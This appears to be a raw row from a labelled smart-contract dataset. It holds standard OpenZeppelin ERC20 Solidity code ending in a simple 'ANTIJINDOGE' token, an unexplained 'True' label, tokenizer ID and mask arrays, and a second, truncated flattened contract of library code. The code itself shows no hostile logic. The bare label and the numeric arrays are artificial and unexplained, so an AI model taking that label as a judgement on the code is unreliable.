* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin\contracts\token\ERC20\ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity ^0.8.0;
contract ANTIJINDOGE is ERC20 {
constructor () ERC20("Antijindoge", "ANTIJINDOGE") {
_mint(msg.sender, 100000000000000 * (10 ** uint256(decimals())));
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
2340,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
21447,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-10-12
*/
// Sources flattened with hardhat v2.6.4 https://hardhat.org
// File deps/@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File deps/@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File deps/@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File deps/@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using SafeMathUpgradeable for uint256;
using AddressUpgradeable for address;
function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File deps/@openzeppelin/contracts-upgradeable/utils/EnumerableSetUpgradeable.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
